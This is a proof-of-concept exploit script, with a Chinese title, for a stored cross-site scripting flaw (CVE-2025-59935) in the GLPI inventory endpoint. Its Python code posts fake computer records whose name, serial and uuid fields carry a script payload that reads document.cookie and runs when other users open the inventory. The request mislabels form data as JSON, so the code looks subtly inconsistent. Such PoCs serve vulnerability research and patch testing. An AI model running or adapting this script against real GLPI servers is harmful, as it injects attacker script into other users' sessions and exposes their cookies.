CVE-2025-59935 GLPI inventory端点存储型XSS漏洞

import requests import json # CVE-2025-59935 PoC - GLPI Inventory Endpoint Stored XSS # Target: GLPI versions 10.0.0 to 10.0.20 # Author: Security Researcher TARGET_URL = "http://target-glpi-server" # Replace with actual target URL INVENTORY_ENDPOINT = f"{TARGET_URL}/front/inventory.php" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' # Construct the inventory request with XSS payload inventory_data = { "itemtype": "Computer", "entities_id": 0, "name": f"TestComputer{xss_payload}", "serial": f"SN-{xss_payload}", "uuid": f"550e8400-e29b-41d4-a716-446655440000{xss_payload}" } def exploit(): """ Exploit stored XSS via GLPI inventory endpoint. The XSS payload will be stored and executed when other users view the inventory. """ print(f"[*] Target: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-59935: Stored XSS in inventory endpoint") try: # Send inventory request with XSS payload response = requests.post( INVENTORY_ENDPOINT, data=inventory_data, headers={ "Content-Type": "application/json", "User-Agent": "GLPI-Inventory-Agent/1.0" }, timeout=30, verify=False ) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print(f"[+] XSS payload may have been stored successfully") print(f"[*] Payload: {xss_payload}") print(f"[*] The XSS will execute when users access the inventory page") else: print(f"[-] Unexpected response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()